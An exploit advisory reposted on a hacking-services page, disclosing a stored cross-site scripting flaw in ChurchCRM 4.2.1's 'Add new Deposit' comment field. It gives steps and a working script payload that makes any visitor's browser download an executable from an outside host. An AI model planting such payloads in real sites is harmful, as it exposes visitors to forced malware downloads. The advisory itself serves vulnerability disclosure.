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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#Exploit Title: ChurchCRM 4.2.1- Persistent Cross Site Scripting(XSS)
#Date: 2020- 10- 29
#Exploit Author: Mufaddal Masalawala
#Vendor Homepage: https://churchcrm.io/
#Software Link: https://github.com/ChurchCRM/CRM
#Version: 4.2.1
#Tested on: Kali Linux 2020.3
#Proof Of Concept:
ChurchCRM application allows stored XSS , via 'Add new Deposit' module, that is rendered upon 'View All Deposits' page visit. There are multiple locations where this can be replicated To exploit this vulnerability:

   1. Login to the application, go to 'View all Deposits' module.
   2. Add the payload ( <script>var link = document.createElement('a');
   link.href = 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe';
   link.download = ''; document.body.appendChild(link); link.click();
</script>
   ) in the 'Deposit Comment' field and click "Add New Deposit".
   3. Payload is executed and a .exe file is downloaded.